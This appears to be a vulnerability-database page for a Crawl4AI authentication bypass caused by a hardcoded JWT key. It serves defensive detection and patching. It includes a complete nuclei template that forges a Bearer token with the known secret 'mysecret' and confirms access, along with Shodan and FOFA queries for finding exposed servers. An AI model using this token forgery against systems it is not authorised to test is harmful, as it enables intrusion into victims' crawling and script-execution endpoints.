HexBrain

Browse / CVEs / CVE-2026-56265

CVE-2026-56265· unclecode / crawl4ai· CWE-798

Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass

criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).

Impact

Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control.

Fix

Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value.

How to confirm it

Send: GET /ask?context_type=code&query=crawl&max_results=1
Positive when: status_code == 401 and contains(body, "Authentication required") || contains(body, "No token provided") || contains(body, "Not authenticated")
Send: GET /ask?context_type=code&query=crawl&max_results=1
Positive when: status_code == 200 and contains(body, "code_results") and !contains(body, "Invalid or expired token")

Run it with nuclei: nuclei -id CVE-2026-56265 -u <target>

The full check
id: CVE-2026-56265

info:
  name: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass
  author: prithvee07
  severity: critical
  description: |
    Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).
  impact: |
    Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control.
  remediation: |
    Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg
    - https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key
    - https://github.com/unclecode/crawl4ai
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56265
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56265
    epss-score: 0.02639
    epss-percentile: 0.85697
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    vendor: unclecode
    product: crawl4ai
    shodan-query: http.html:"crawl4ai"
    fofa-query: body="crawl4ai"
  tags: cve,cve2026,crawl4ai,auth-bypass,jwt,hardcoded-credentials,unauth

variables:
  exp: "{{unix_time(3600)}}"
  secret: "mysecret"
  payload: '{"scope":"data","exp":{{exp}}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Authentication required") || contains(body, "No token provided") || contains(body, "Not authenticated")'
        condition: and
        internal: true

  - raw:
      - |
        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(payload,"HS256",secret)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "code_results")'
          - '!contains(body, "Invalid or expired token")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'to_string(generate_jwt(payload,"HS256",secret))'

References

Use this check only on systems you are authorised to test. Where the data comes from